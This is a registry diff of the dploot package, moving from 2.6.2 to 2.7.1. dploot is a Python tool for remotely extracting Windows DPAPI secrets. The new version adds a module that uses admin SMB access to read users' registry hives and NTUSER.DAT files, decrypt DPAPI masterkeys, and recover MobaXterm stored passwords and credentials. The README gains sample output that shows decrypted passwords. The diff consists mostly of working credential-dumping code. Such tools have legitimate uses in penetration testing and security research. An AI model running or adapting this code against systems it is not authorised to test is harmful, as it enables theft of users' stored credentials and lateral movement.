dploot 2.6.2__tar.gz → 2.7.1__tar.gz
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- {dploot-2.6.2 → dploot-2.7.1}/PKG-INFO +29 -1
- {dploot-2.6.2 → dploot-2.7.1}/README.md +28 -0
- dploot-2.7.1/dploot/action/mobaxterm.py +96 -0
- {dploot-2.6.2 → dploot-2.7.1}/dploot/entry.py +2 -0
- {dploot-2.6.2 → dploot-2.7.1}/dploot/lib/crypto.py +1 -1
- {dploot-2.6.2 → dploot-2.7.1}/dploot/lib/dpapi.py +35 -35
- {dploot-2.6.2 → dploot-2.7.1}/dploot/triage/certificates.py +15 -11
- {dploot-2.6.2 → dploot-2.7.1}/dploot/triage/masterkeys.py +4 -2
- dploot-2.7.1/dploot/triage/mobaxterm.py +365 -0
- {dploot-2.6.2 → dploot-2.7.1}/pyproject.toml +1 -1
- {dploot-2.6.2 → dploot-2.7.1}/LICENSE +0 -0
- {dploot-2.6.2 → dploot-2.7.1}/dploot/__init__.py +0 -0
- {dploot-2.6.2 → dploot-2.7.1}/dploot/action/__init__.py +0 -0
- {dploot-2.6.2 → dploot-2.7.1}/dploot/action/backupkey.py +0 -0
- {dploot-2.6.2 → dploot-2.7.1}/dploot/action/browser.py +0 -0
- {dploot-2.6.2 → dploot-2.7.1}/dploot/action/certificates.py +0 -0
- {dploot-2.6.2 → dploot-2.7.1}/dploot/action/credentials.py +0 -0
- {dploot-2.6.2 → dploot-2.7.1}/dploot/action/machinecertificates.py +0 -0
- {dploot-2.6.2 → dploot-2.7.1}/dploot/action/machinecredentials.py +0 -0
- {dploot-2.6.2 → dploot-2.7.1}/dploot/action/machinemasterkeys.py +0 -0
- {dploot-2.6.2 → dploot-2.7.1}/dploot/action/machinetriage.py +0 -0
- {dploot-2.6.2 → dploot-2.7.1}/dploot/action/machinevaults.py +0 -0
- {dploot-2.6.2 → dploot-2.7.1}/dploot/action/masterkeys.py +0 -0
- {dploot-2.6.2 → dploot-2.7.1}/dploot/action/rdg.py +0 -0
- {dploot-2.6.2 → dploot-2.7.1}/dploot/action/sccm.py +0 -0
- {dploot-2.6.2 → dploot-2.7.1}/dploot/action/triage.py +0 -0
- {dploot-2.6.2 → dploot-2.7.1}/dploot/action/vaults.py +0 -0
- {dploot-2.6.2 → dploot-2.7.1}/dploot/action/wifi.py +0 -0
- {dploot-2.6.2 → dploot-2.7.1}/dploot/lib/__init__.py +0 -0
- {dploot-2.6.2 → dploot-2.7.1}/dploot/lib/smb.py +0 -0
- {dploot-2.6.2 → dploot-2.7.1}/dploot/lib/target.py +0 -0
- {dploot-2.6.2 → dploot-2.7.1}/dploot/lib/utils.py +0 -0
- {dploot-2.6.2 → dploot-2.7.1}/dploot/lib/wmi.py +0 -0
- {dploot-2.6.2 → dploot-2.7.1}/dploot/triage/__init__.py +0 -0
- {dploot-2.6.2 → dploot-2.7.1}/dploot/triage/backupkey.py +0 -0
- {dploot-2.6.2 → dploot-2.7.1}/dploot/triage/browser.py +0 -0
- {dploot-2.6.2 → dploot-2.7.1}/dploot/triage/credentials.py +0 -0
- {dploot-2.6.2 → dploot-2.7.1}/dploot/triage/rdg.py +0 -0
- {dploot-2.6.2 → dploot-2.7.1}/dploot/triage/sccm.py +0 -0
- {dploot-2.6.2 → dploot-2.7.1}/dploot/triage/vaults.py +0 -0
- {dploot-2.6.2 → dploot-2.7.1}/dploot/triage/wifi.py +0 -0
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
Metadata-Version: 2.1
|
|
2
2
|
Name: dploot
|
|
3
|
-
Version: 2.
|
|
3
|
+
Version: 2.7.1
|
|
4
4
|
Summary: DPAPI looting remotely in Python
|
|
5
5
|
Home-page: https://github.com/zblurx/dploot
|
|
6
6
|
License: MIT
|
|
@@ -60,6 +60,7 @@ If you don't know what is DPAPI, [check out this post](https://posts.specterops.
|
|
|
60
60
|
- [wifi](#wifi)
|
|
61
61
|
- [sccm](#sccm)
|
|
62
62
|
- [backupkey](#backupkey)
|
|
63
|
+
- [mobaxterm](#mobaxterm)
|
|
63
64
|
- [Credits](#credits)
|
|
64
65
|
- [TODO](#TODO)
|
|
65
66
|
|
|
@@ -741,6 +742,33 @@ PRIVATEKEYBLOB:{1ef1b5b000000000010000000000000000000000940400000702000000a40000
|
|
|
741
742
|
[-] Exporting domain backupkey to file key.pvk
|
|
742
743
|
```
|
|
743
744
|
|
|
745
|
+
### mobaxterm
|
|
746
|
+
|
|
747
|
+
The **mobaxterm** command will extract MobaXterm secrets and masterpassword key from hive (HKU) and decrypt them with `-mkfile FILE` of one or more {GUID}:SHA1, or with `-passwords FILE` combo of user:password, `-nthashes` combo of user:nthash or a `-pvk PVKFILE` to first decrypt masterkeys. If the user is not connected on the remote target, dploot will download and extract secrets from NTUSER.dat.
|
|
748
|
+
|
|
749
|
+
With `pvk`:
|
|
750
|
+
|
|
751
|
+
```text
|
|
752
|
+
dploot rdg -d waza.local -u jsmith -p 'Password#123' 192.168.56.14 -pvk key.pvk
|
|
753
|
+
[*] Connected to 192.168.56.14 as waza.local\jsmith (admin)
|
|
754
|
+
|
|
755
|
+
[*] Triage ALL USERS masterkeys
|
|
756
|
+
|
|
757
|
+
{6dedb662-3f3c-43a7-bfc4-e2990a48d4dd}:32c4eeeac475910a33f531b56cf9d73f35490d5e
|
|
758
|
+
{21f17bcd-eac1-4187-9538-a744f2c6e17b}:198eba83e088a59fd75e6435b38804d4973a2c1e
|
|
759
|
+
|
|
760
|
+
[*] Triage MobaXterm Secrets
|
|
761
|
+
|
|
762
|
+
[MOBAXTERM CREDENTIAL]
|
|
763
|
+
Name: TEST
|
|
764
|
+
Username: user
|
|
765
|
+
Password: waza1234
|
|
766
|
+
|
|
767
|
+
[MOBAXTERM PASSWORD]
|
|
768
|
+
Username: mobauser@mobaserver
|
|
769
|
+
Password: 309554moba231082pass322883
|
|
770
|
+
```
|
|
771
|
+
|
|
744
772
|
## Credits
|
|
745
773
|
|
|
746
774
|
Those projects helped a lot in writting this tool:
|
|
@@ -34,6 +34,7 @@ If you don't know what is DPAPI, [check out this post](https://posts.specterops.
|
|
|
34
34
|
- [wifi](#wifi)
|
|
35
35
|
- [sccm](#sccm)
|
|
36
36
|
- [backupkey](#backupkey)
|
|
37
|
+
- [mobaxterm](#mobaxterm)
|
|
37
38
|
- [Credits](#credits)
|
|
38
39
|
- [TODO](#TODO)
|
|
39
40
|
|
|
@@ -715,6 +716,33 @@ PRIVATEKEYBLOB:{1ef1b5b000000000010000000000000000000000940400000702000000a40000
|
|
|
715
716
|
[-] Exporting domain backupkey to file key.pvk
|
|
716
717
|
```
|
|
717
718
|
|
|
719
|
+
### mobaxterm
|
|
720
|
+
|
|
721
|
+
The **mobaxterm** command will extract MobaXterm secrets and masterpassword key from hive (HKU) and decrypt them with `-mkfile FILE` of one or more {GUID}:SHA1, or with `-passwords FILE` combo of user:password, `-nthashes` combo of user:nthash or a `-pvk PVKFILE` to first decrypt masterkeys. If the user is not connected on the remote target, dploot will download and extract secrets from NTUSER.dat.
|
|
722
|
+
|
|
723
|
+
With `pvk`:
|
|
724
|
+
|
|
725
|
+
```text
|
|
726
|
+
dploot rdg -d waza.local -u jsmith -p 'Password#123' 192.168.56.14 -pvk key.pvk
|
|
727
|
+
[*] Connected to 192.168.56.14 as waza.local\jsmith (admin)
|
|
728
|
+
|
|
729
|
+
[*] Triage ALL USERS masterkeys
|
|
730
|
+
|
|
731
|
+
{6dedb662-3f3c-43a7-bfc4-e2990a48d4dd}:32c4eeeac475910a33f531b56cf9d73f35490d5e
|
|
732
|
+
{21f17bcd-eac1-4187-9538-a744f2c6e17b}:198eba83e088a59fd75e6435b38804d4973a2c1e
|
|
733
|
+
|
|
734
|
+
[*] Triage MobaXterm Secrets
|
|
735
|
+
|
|
736
|
+
[MOBAXTERM CREDENTIAL]
|
|
737
|
+
Name: TEST
|
|
738
|
+
Username: user
|
|
739
|
+
Password: waza1234
|
|
740
|
+
|
|
741
|
+
[MOBAXTERM PASSWORD]
|
|
742
|
+
Username: mobauser@mobaserver
|
|
743
|
+
Password: 309554moba231082pass322883
|
|
744
|
+
```
|
|
745
|
+
|
|
718
746
|
## Credits
|
|
719
747
|
|
|
720
748
|
Those projects helped a lot in writting this tool:
|
|
@@ -0,0 +1,96 @@
|
|
|
1
|
+
import argparse
|
|
2
|
+
import logging
|
|
3
|
+
import sys
|
|
4
|
+
from typing import Callable, Tuple
|
|
5
|
+
|
|
6
|
+
from dploot.action.masterkeys import add_masterkeys_argument_group, parse_masterkeys_options
|
|
7
|
+
from dploot.lib.smb import DPLootSMBConnection
|
|
8
|
+
from dploot.lib.target import Target, add_target_argument_group
|
|
9
|
+
from dploot.triage.masterkeys import MasterkeysTriage, parse_masterkey_file
|
|
10
|
+
from dploot.triage.mobaxterm import MobaXtermTriage
|
|
11
|
+
|
|
12
|
+
NAME = 'mobaxterm'
|
|
13
|
+
|
|
14
|
+
class MobaXtermAction:
|
|
15
|
+
|
|
16
|
+
def __init__(self, options: argparse.Namespace) -> None:
|
|
17
|
+
self.options = options
|
|
18
|
+
self.target = Target.from_options(options)
|
|
19
|
+
|
|
20
|
+
self.conn = None
|
|
21
|
+
self._is_admin = None
|
|
22
|
+
self._users = None
|
|
23
|
+
self.outputdir = None
|
|
24
|
+
self.masterkeys = None
|
|
25
|
+
self.pvkbytes = None
|
|
26
|
+
|
|
27
|
+
if self.options.mkfile is not None:
|
|
28
|
+
try:
|
|
29
|
+
self.masterkeys = parse_masterkey_file(self.options.mkfile)
|
|
30
|
+
except Exception as e:
|
|
31
|
+
logging.error(str(e))
|
|
32
|
+
sys.exit(1)
|
|
33
|
+
|
|
34
|
+
self.pvkbytes, self.passwords, self.nthashes = parse_masterkeys_options(self.options, self.target)
|
|
35
|
+
|
|
36
|
+
def connect(self) -> None:
|
|
37
|
+
self.conn = DPLootSMBConnection(self.target)
|
|
38
|
+
if self.conn.connect() is None:
|
|
39
|
+
logging.error("Could not connect to %s" % self.target.address)
|
|
40
|
+
sys.exit(1)
|
|
41
|
+
|
|
42
|
+
def run(self) -> None:
|
|
43
|
+
self.connect()
|
|
44
|
+
logging.info("Connected to %s as %s\\%s %s\n" % (self.target.address, self.target.domain, self.target.username, ( "(admin)"if self.is_admin else "")))
|
|
45
|
+
if self.is_admin:
|
|
46
|
+
if self.masterkeys is None:
|
|
47
|
+
masterkeytriage = MasterkeysTriage(target=self.target, conn=self.conn, pvkbytes=self.pvkbytes, nthashes=self.nthashes, passwords=self.passwords)
|
|
48
|
+
logging.info("Triage ALL USERS masterkeys\n")
|
|
49
|
+
self.masterkeys = masterkeytriage.triage_masterkeys()
|
|
50
|
+
if not self.options.quiet:
|
|
51
|
+
for masterkey in self.masterkeys:
|
|
52
|
+
masterkey.dump()
|
|
53
|
+
print()
|
|
54
|
+
|
|
55
|
+
triage = MobaXtermTriage(target=self.target, conn=self.conn, masterkeys=self.masterkeys)
|
|
56
|
+
logging.info("Triage MobaXterm Secrets\n")
|
|
57
|
+
_, credentials = triage.triage_mobaxterm()
|
|
58
|
+
for credential in credentials:
|
|
59
|
+
if self.options.quiet:
|
|
60
|
+
credential.dump_quiet()
|
|
61
|
+
else:
|
|
62
|
+
credential.dump()
|
|
63
|
+
|
|
64
|
+
else:
|
|
65
|
+
logging.info("Not an admin, exiting...")
|
|
66
|
+
|
|
67
|
+
@property
|
|
68
|
+
def is_admin(self) -> bool:
|
|
69
|
+
if self._is_admin is not None:
|
|
70
|
+
return self._is_admin
|
|
71
|
+
|
|
72
|
+
self._is_admin = self.conn.is_admin()
|
|
73
|
+
return self._is_admin
|
|
74
|
+
|
|
75
|
+
def entry(options: argparse.Namespace) -> None:
|
|
76
|
+
a = MobaXtermAction(options)
|
|
77
|
+
a.run()
|
|
78
|
+
|
|
79
|
+
def add_subparser(subparsers: argparse._SubParsersAction) -> Tuple[str, Callable]:
|
|
80
|
+
|
|
81
|
+
subparser = subparsers.add_parser(NAME, help="Dump Passwords and Credentials from MobaXterm")
|
|
82
|
+
|
|
83
|
+
group = subparser.add_argument_group("mobaxterm options")
|
|
84
|
+
|
|
85
|
+
group.add_argument(
|
|
86
|
+
"-mkfile",
|
|
87
|
+
action="store",
|
|
88
|
+
help=(
|
|
89
|
+
"File containing {GUID}:SHA1 masterkeys mappings"
|
|
90
|
+
),
|
|
91
|
+
)
|
|
92
|
+
|
|
93
|
+
add_masterkeys_argument_group(group)
|
|
94
|
+
add_target_argument_group(subparser)
|
|
95
|
+
|
|
96
|
+
return NAME, entry
|
|
@@ -242,13 +242,13 @@ def decrypt_chrome_password(encrypted_password: str, aeskey: bytes):
|
|
|
242
242
|
|
|
243
243
|
def deriveKeysFromUser(sid, password):
|
|
244
244
|
password = password.encode('utf-16le')
|
|
245
|
-
sid = sid.encode('utf-16le')
|
|
246
245
|
z_sid = (sid + '\0').encode('utf-16le')
|
|
247
246
|
password_md4 = MD4.new(password).digest()
|
|
248
247
|
# Will generate two keys, one with SHA1 and another with MD4
|
|
249
248
|
key1 = HMAC.new(SHA1.new(password).digest(), z_sid, SHA1).digest()
|
|
250
249
|
key2 = HMAC.new(password_md4, z_sid, SHA1).digest()
|
|
251
250
|
# For Protected users
|
|
251
|
+
sid = sid.encode('utf-16le')
|
|
252
252
|
tmpKey = pbkdf2_hmac('sha256', password_md4, sid, 10000)
|
|
253
253
|
tmpKey2 = pbkdf2_hmac('sha256', tmpKey, sid, 1)[:16]
|
|
254
254
|
key3 = HMAC.new(tmpKey2, z_sid, SHA1).digest()[:20]
|
|
@@ -198,56 +198,56 @@ def decrypt_blob(blob_bytes:bytes, masterkey:Any, entropy = None) -> Any:
|
|
|
198
198
|
key = unhexlify(masterkey.sha1)
|
|
199
199
|
decrypted = None
|
|
200
200
|
if entropy is not None:
|
|
201
|
-
decrypted =
|
|
201
|
+
decrypted = decrypt(blob, key, entropy=entropy)
|
|
202
202
|
else:
|
|
203
203
|
decrypted = decrypt(blob, key)
|
|
204
204
|
return decrypted
|
|
205
205
|
|
|
206
206
|
def decrypt(blob, keyHash, entropy = None) -> "bytes | None":
|
|
207
207
|
hash_algo = ALGORITHMS_DATA[blob['HashAlgo']][1]
|
|
208
|
-
sessionKey = HMAC.new(keyHash, blob['Salt'], hash_algo)
|
|
209
|
-
if entropy is not None:
|
|
210
|
-
sessionKey.update(entropy)
|
|
211
|
-
|
|
212
|
-
sessionKey = sessionKey.digest()
|
|
213
|
-
|
|
214
|
-
# Derive the key
|
|
215
|
-
derivedKey = blob.deriveKey(sessionKey)
|
|
216
|
-
|
|
217
|
-
crypto = ALGORITHMS_DATA[blob['CryptAlgo']]
|
|
218
|
-
cipher = crypto[1].new(derivedKey[:crypto[0]], mode=crypto[2], iv=b'\x00'*crypto[3])
|
|
219
|
-
cleartext = unpad(cipher.decrypt(blob['Data']), crypto[1].block_size)
|
|
220
|
-
|
|
221
|
-
# Now check the signature
|
|
222
|
-
|
|
223
|
-
# ToDo Fix this, it's just ugly, more testing so we can remove one
|
|
224
|
-
toSign = (blob.rawData[20:][:len(blob.rawData)-20-len(blob['Sign'])-4])
|
|
225
|
-
|
|
226
|
-
# Calculate the different HMACKeys
|
|
227
208
|
block_size = hash_algo.block_size
|
|
228
|
-
|
|
209
|
+
for algo in [compute_sessionKey_1, compute_sessionKey_2]:
|
|
210
|
+
sessionKey = algo(keyHash, blob['Salt'], hash_algo, block_size, entropy)
|
|
211
|
+
sessionKey = sessionKey.digest()
|
|
212
|
+
derivedKey = blob.deriveKey(sessionKey)
|
|
213
|
+
crypto = ALGORITHMS_DATA[blob['CryptAlgo']]
|
|
214
|
+
cipher = crypto[1].new(derivedKey[:crypto[0]], mode=crypto[2], iv=b'\x00'*crypto[3])
|
|
215
|
+
cleartext = cipher.decrypt(blob['Data'])
|
|
216
|
+
try:
|
|
217
|
+
cleartext = unpad(cleartext, crypto[1].block_size)
|
|
218
|
+
except ValueError as e:
|
|
219
|
+
if "Padding is incorrect" in str(e):
|
|
220
|
+
pass
|
|
221
|
+
# Now check the signature
|
|
222
|
+
# ToDo Fix this, it's just ugly, more testing so we can remove one
|
|
223
|
+
toSign = (blob.rawData[20:][:len(blob.rawData)-20-len(blob['Sign'])-4])
|
|
224
|
+
hmac_calculated = algo(keyHash, blob['HMac'], hash_algo, block_size, entropy)
|
|
225
|
+
hmac_calculated.update(toSign)
|
|
226
|
+
if blob['Sign'] == hmac_calculated.digest():
|
|
227
|
+
return cleartext
|
|
228
|
+
return None
|
|
229
|
+
|
|
230
|
+
def compute_sessionKey_1(key_hash: bytes, salt: bytes, hash_algo: object, block_size: int, entropy: bytes):
|
|
231
|
+
pad_block = key_hash.ljust(block_size, b'\x00')
|
|
229
232
|
ipad = bytearray(i ^ 0x36 for i in pad_block)
|
|
230
233
|
opad = bytearray(i ^ 0x5c for i in pad_block)
|
|
234
|
+
|
|
231
235
|
a = hash_algo.new(ipad)
|
|
232
|
-
a.update(
|
|
236
|
+
a.update(salt)
|
|
233
237
|
|
|
234
|
-
|
|
235
|
-
|
|
238
|
+
computed_key = hash_algo.new(opad)
|
|
239
|
+
computed_key.update(a.digest())
|
|
236
240
|
|
|
237
241
|
if entropy is not None:
|
|
238
|
-
|
|
239
|
-
|
|
240
|
-
hmacCalculated1.update(toSign)
|
|
242
|
+
computed_key.update(entropy)
|
|
243
|
+
return computed_key
|
|
241
244
|
|
|
242
|
-
|
|
245
|
+
def compute_sessionKey_2(key_hash: bytes, salt: bytes, hash_algo: object, block_size: int, entropy: bytes):
|
|
246
|
+
computed_key = HMAC.new(key_hash, salt, hash_algo)
|
|
243
247
|
if entropy is not None:
|
|
244
|
-
|
|
245
|
-
|
|
246
|
-
|
|
247
|
-
|
|
248
|
-
if blob['Sign'] in (hmacCalculated1.digest(), hmacCalculated3.digest()):
|
|
249
|
-
return cleartext
|
|
250
|
-
return None
|
|
248
|
+
computed_key.update(entropy)
|
|
249
|
+
|
|
250
|
+
return computed_key
|
|
251
251
|
|
|
252
252
|
def find_masterkey_for_blob(blob_bytes:bytes, masterkeys: Any) -> "Any | None":
|
|
253
253
|
blob = DPAPI_BLOB(blob_bytes)
|
|
@@ -5,6 +5,7 @@ from typing import Dict, List, Tuple
|
|
|
5
5
|
from dataclasses import dataclass
|
|
6
6
|
|
|
7
7
|
from impacket.dcerpc.v5 import rrp
|
|
8
|
+
from impacket.system_errors import ERROR_NO_MORE_ITEMS
|
|
8
9
|
|
|
9
10
|
from Cryptodome.PublicKey import RSA
|
|
10
11
|
from cryptography import x509
|
|
@@ -99,18 +100,21 @@ class CertificatesTriage:
|
|
|
99
100
|
certificates = {}
|
|
100
101
|
ans = rrp.hBaseRegOpenKey(self.conn.remote_ops._RemoteOperations__rrp, regHandle, my_certificates_key, samDesired=rrp.KEY_ENUMERATE_SUB_KEYS)
|
|
101
102
|
keyHandle = ans['phkResult']
|
|
102
|
-
|
|
103
|
-
|
|
104
|
-
|
|
103
|
+
i = 0
|
|
104
|
+
while True:
|
|
105
|
+
try:
|
|
106
|
+
enum_ans = rrp.hBaseRegEnumKey(self.conn.remote_ops._RemoteOperations__rrp, keyHandle, i)
|
|
105
107
|
certificate_keys.append(enum_ans['lpNameOut'][:-1])
|
|
106
|
-
|
|
107
|
-
|
|
108
|
-
|
|
109
|
-
|
|
110
|
-
|
|
111
|
-
|
|
112
|
-
|
|
113
|
-
|
|
108
|
+
i += 1
|
|
109
|
+
except rrp.DCERPCSessionError as e:
|
|
110
|
+
if e.get_error_code() == ERROR_NO_MORE_ITEMS:
|
|
111
|
+
break
|
|
112
|
+
except Exception as e:
|
|
113
|
+
import traceback
|
|
114
|
+
traceback.print_exc()
|
|
115
|
+
logging.error(str(e))
|
|
116
|
+
rrp.hBaseRegCloseKey(self.conn.remote_ops._RemoteOperations__rrp, keyHandle)
|
|
117
|
+
|
|
114
118
|
for certificate_key in certificate_keys:
|
|
115
119
|
try:
|
|
116
120
|
regKey = my_certificates_key + '\\' + certificate_key
|
|
@@ -106,8 +106,10 @@ class MasterkeysTriage:
|
|
|
106
106
|
try:
|
|
107
107
|
masterkeys += self.triage_masterkeys_for_user(user)
|
|
108
108
|
except Exception as e:
|
|
109
|
-
logging.
|
|
110
|
-
|
|
109
|
+
if logging.getLogger().level == logging.DEBUG:
|
|
110
|
+
import traceback
|
|
111
|
+
traceback.print_exc()
|
|
112
|
+
logging.debug(str(e))
|
|
111
113
|
return masterkeys
|
|
112
114
|
|
|
113
115
|
def triage_masterkeys_for_user(self, user:str) -> List[Masterkey]:
|
|
@@ -0,0 +1,365 @@
|
|
|
1
|
+
from base64 import b64decode
|
|
2
|
+
import logging
|
|
3
|
+
import ntpath
|
|
4
|
+
import tempfile
|
|
5
|
+
from typing import List, Tuple
|
|
6
|
+
from Cryptodome.Cipher import AES
|
|
7
|
+
|
|
8
|
+
from impacket import winregistry
|
|
9
|
+
from impacket.dcerpc.v5 import rrp
|
|
10
|
+
from impacket.system_errors import ERROR_NO_MORE_ITEMS, ERROR_FILE_NOT_FOUND
|
|
11
|
+
|
|
12
|
+
from dploot.lib.dpapi import decrypt_blob, find_masterkey_for_blob
|
|
13
|
+
from dploot.lib.smb import DPLootSMBConnection
|
|
14
|
+
from dploot.lib.target import Target
|
|
15
|
+
from dploot.triage.masterkeys import Masterkey
|
|
16
|
+
from dataclasses import dataclass
|
|
17
|
+
|
|
18
|
+
@dataclass
|
|
19
|
+
class MobaXtermPassword:
|
|
20
|
+
winuser: str
|
|
21
|
+
username: str
|
|
22
|
+
password_encrypted: bytes
|
|
23
|
+
password: bytes = None
|
|
24
|
+
|
|
25
|
+
def decrypt(self, masterpassword_key):
|
|
26
|
+
iv = AES.new(key=masterpassword_key, mode=AES.MODE_ECB).encrypt(b'\x00' * AES.block_size)
|
|
27
|
+
cipher = AES.new(key=masterpassword_key, iv=iv, mode=AES.MODE_CFB, segment_size=8)
|
|
28
|
+
self.password = cipher.decrypt(b64decode(self.password_encrypted))
|
|
29
|
+
|
|
30
|
+
def dump(self) -> None:
|
|
31
|
+
print("[MOBAXTERM PASSWORD]")
|
|
32
|
+
print("Username:\t%s" % self.username)
|
|
33
|
+
if self.password is not None:
|
|
34
|
+
print("Password:\t%s" % self.password.decode('latin-1'))
|
|
35
|
+
print()
|
|
36
|
+
|
|
37
|
+
def dump_quiet(self) -> None:
|
|
38
|
+
print("[MOBAXTERM PASSWORD] %s:%s" % (self.username, self.password))
|
|
39
|
+
|
|
40
|
+
@dataclass
|
|
41
|
+
class MobaXtermCredential:
|
|
42
|
+
winuser: str
|
|
43
|
+
name: str
|
|
44
|
+
username: str
|
|
45
|
+
password_encrypted: bytes
|
|
46
|
+
password: bytes = None
|
|
47
|
+
|
|
48
|
+
def decrypt(self, masterpassword_key):
|
|
49
|
+
iv = AES.new(key=masterpassword_key, mode=AES.MODE_ECB).encrypt(b'\x00' * AES.block_size)
|
|
50
|
+
cipher = AES.new(key=masterpassword_key, iv=iv, mode=AES.MODE_CFB, segment_size=8)
|
|
51
|
+
self.password = cipher.decrypt(b64decode(self.password_encrypted))
|
|
52
|
+
|
|
53
|
+
def dump(self) -> None:
|
|
54
|
+
print("[MOBAXTERM CREDENTIAL]")
|
|
55
|
+
print("Name:\t\t%s" % self.name)
|
|
56
|
+
print("Username:\t%s" % self.username)
|
|
57
|
+
if self.password is not None:
|
|
58
|
+
print("Password:\t%s" % self.password.decode('latin-1'))
|
|
59
|
+
print()
|
|
60
|
+
|
|
61
|
+
def dump_quiet(self) -> None:
|
|
62
|
+
print("[MOBAXTERM CREDENTIAL] %s - %s:%s" % (self.name, self.username, self.password))
|
|
63
|
+
|
|
64
|
+
@dataclass
|
|
65
|
+
class MobaXtermMasterPassword:
|
|
66
|
+
winuser: str
|
|
67
|
+
username: str
|
|
68
|
+
host: str
|
|
69
|
+
entropy: bytes
|
|
70
|
+
masterpassword_raw_value: bytes
|
|
71
|
+
masterpassword_decrypted: bytes = None
|
|
72
|
+
|
|
73
|
+
def decrypt_masterpassword_raw_value(self, masterkeys):
|
|
74
|
+
dpapi_blob = bytes.fromhex("01000000d08c9ddf0115d1118c7a00c04fc297eb") + b64decode(self.masterpassword_raw_value)
|
|
75
|
+
masterkey = find_masterkey_for_blob(dpapi_blob, masterkeys)
|
|
76
|
+
if masterkey is not None:
|
|
77
|
+
self.masterpassword_decrypted = decrypt_blob(blob_bytes=dpapi_blob, masterkey=masterkey, entropy=self.entropy)
|
|
78
|
+
|
|
79
|
+
def dump(self) -> None:
|
|
80
|
+
print("[MOBAXTERM MASTERPASSWORD KEY]")
|
|
81
|
+
print("Host:\t\t\t%s" % self.host)
|
|
82
|
+
print("Username:\t\t%s" % self.username)
|
|
83
|
+
if self.masterpassword_decrypted is not None:
|
|
84
|
+
print("MasterPassword Key:\t%s" % b64decode(self.masterpassword_decrypted).hex())
|
|
85
|
+
print()
|
|
86
|
+
|
|
87
|
+
def dump_quiet(self) -> None:
|
|
88
|
+
print("[MOBAXTERM MASTERPASSWORD KEY] %s - %s - %s" % (self.host, self.username, b64decode(self.masterpassword_decrypted).hex()))
|
|
89
|
+
|
|
90
|
+
class MobaXtermTriage:
|
|
91
|
+
false_positive = [".","..", "desktop.ini","Public","Default","Default User","All Users"]
|
|
92
|
+
mobaxterm_registry_key_path = "Software\\Mobatek\\MobaXterm"
|
|
93
|
+
mobaxterm_sessionp_key_path = ntpath.join(mobaxterm_registry_key_path,"SessionP")
|
|
94
|
+
mobaxterm_masterpassword_registry_key = "M"
|
|
95
|
+
mobaxterm_passwords_registry_key = "P"
|
|
96
|
+
mobaxterm_credentials_registry_key = "C"
|
|
97
|
+
|
|
98
|
+
ntuser_dat_path = "Users\\{username}\\NTUSER.DAT"
|
|
99
|
+
share = "C$"
|
|
100
|
+
|
|
101
|
+
def __init__(self, target: Target, conn: DPLootSMBConnection, masterkeys: List[Masterkey]) -> None:
|
|
102
|
+
self.target = target
|
|
103
|
+
self.conn = conn
|
|
104
|
+
|
|
105
|
+
self._users = None
|
|
106
|
+
self.masterkeys = masterkeys
|
|
107
|
+
|
|
108
|
+
def triage_mobaxterm(self) -> Tuple[List[MobaXtermMasterPassword], List["MobaXtermCredential | MobaXtermPassword"]]:
|
|
109
|
+
logging.getLogger("impacket").disabled = True
|
|
110
|
+
mobaxterm_credentials = []
|
|
111
|
+
mobaxterm_masterpassword_key = []
|
|
112
|
+
for user,sid in self.users.items():
|
|
113
|
+
try:
|
|
114
|
+
masterpassword_key, credentials = self.triage_mobaxterm_for_user(user,sid)
|
|
115
|
+
if masterpassword_key is not None:
|
|
116
|
+
mobaxterm_credentials += credentials
|
|
117
|
+
mobaxterm_masterpassword_key.append(masterpassword_key)
|
|
118
|
+
except Exception as e:
|
|
119
|
+
if logging.getLogger().level == logging.DEBUG:
|
|
120
|
+
import traceback
|
|
121
|
+
traceback.print_exc()
|
|
122
|
+
logging.debug(str(e))
|
|
123
|
+
return mobaxterm_masterpassword_key, mobaxterm_credentials
|
|
124
|
+
|
|
125
|
+
def triage_mobaxterm_for_user(self, user: str, sid: str = None) -> Tuple[MobaXtermMasterPassword, List["MobaXtermCredential | MobaXtermPassword"]]:
|
|
126
|
+
mobaxterm_masterpassword = None
|
|
127
|
+
mobaxterm_credentials = []
|
|
128
|
+
try:
|
|
129
|
+
ntuser_dat_bytes = self.conn.readFile(self.share,self.ntuser_dat_path.format(username=user))
|
|
130
|
+
except Exception as e:
|
|
131
|
+
import traceback
|
|
132
|
+
traceback.print_exc()
|
|
133
|
+
logging.error(e)
|
|
134
|
+
if ntuser_dat_bytes is None:
|
|
135
|
+
mobaxterm_masterpassword, mobaxterm_credentials = self.extract_mobaxtermkeys_for_user_from_remote_registry(user,sid)
|
|
136
|
+
else:
|
|
137
|
+
# Preparing NTUSER.DAT file
|
|
138
|
+
fh = tempfile.NamedTemporaryFile()
|
|
139
|
+
fh.write(ntuser_dat_bytes)
|
|
140
|
+
fh.seek(0)
|
|
141
|
+
|
|
142
|
+
# Extracting everything
|
|
143
|
+
mobaxterm_masterpassword, mobaxterm_credentials = self.extract_mobaxtermkeys_for_user_from_ntuser_dat(fh.name, user)
|
|
144
|
+
|
|
145
|
+
|
|
146
|
+
if mobaxterm_masterpassword is None:
|
|
147
|
+
return None, []
|
|
148
|
+
self.decrypt_mobaxterm_masterpassword(mobaxterm_masterpassword)
|
|
149
|
+
logging.debug(f"Found Mobaxterm MasterPassword for user {user}")
|
|
150
|
+
mobaxterm_key = b64decode(mobaxterm_masterpassword.masterpassword_decrypted)[0:32]
|
|
151
|
+
for credential in mobaxterm_credentials:
|
|
152
|
+
credential.decrypt(mobaxterm_key)
|
|
153
|
+
|
|
154
|
+
return mobaxterm_masterpassword, mobaxterm_credentials
|
|
155
|
+
|
|
156
|
+
def extract_mobaxtermkeys_for_user_from_ntuser_dat(self, ntuser_dat_filename: str, user: str) -> Tuple[MobaXtermMasterPassword, List["MobaXtermCredential | MobaXtermPassword"]]:
|
|
157
|
+
reg = winregistry.Registry(ntuser_dat_filename, isRemote=False)
|
|
158
|
+
parent_key = reg.findKey(self.mobaxterm_registry_key_path)
|
|
159
|
+
if parent_key is None:
|
|
160
|
+
# MobaXterm is not installed for this user
|
|
161
|
+
return None, []
|
|
162
|
+
logging.debug(f"Found MobaXterm registry keys for user {user}")
|
|
163
|
+
|
|
164
|
+
mobaxterm_masterpassword_key = None
|
|
165
|
+
mobaxterm_credentials = []
|
|
166
|
+
|
|
167
|
+
try:
|
|
168
|
+
entropy = reg.getValue(self.mobaxterm_sessionp_key_path)[1]
|
|
169
|
+
entropy = entropy.decode('utf-16le').rstrip('\0').encode()
|
|
170
|
+
except Exception as e:
|
|
171
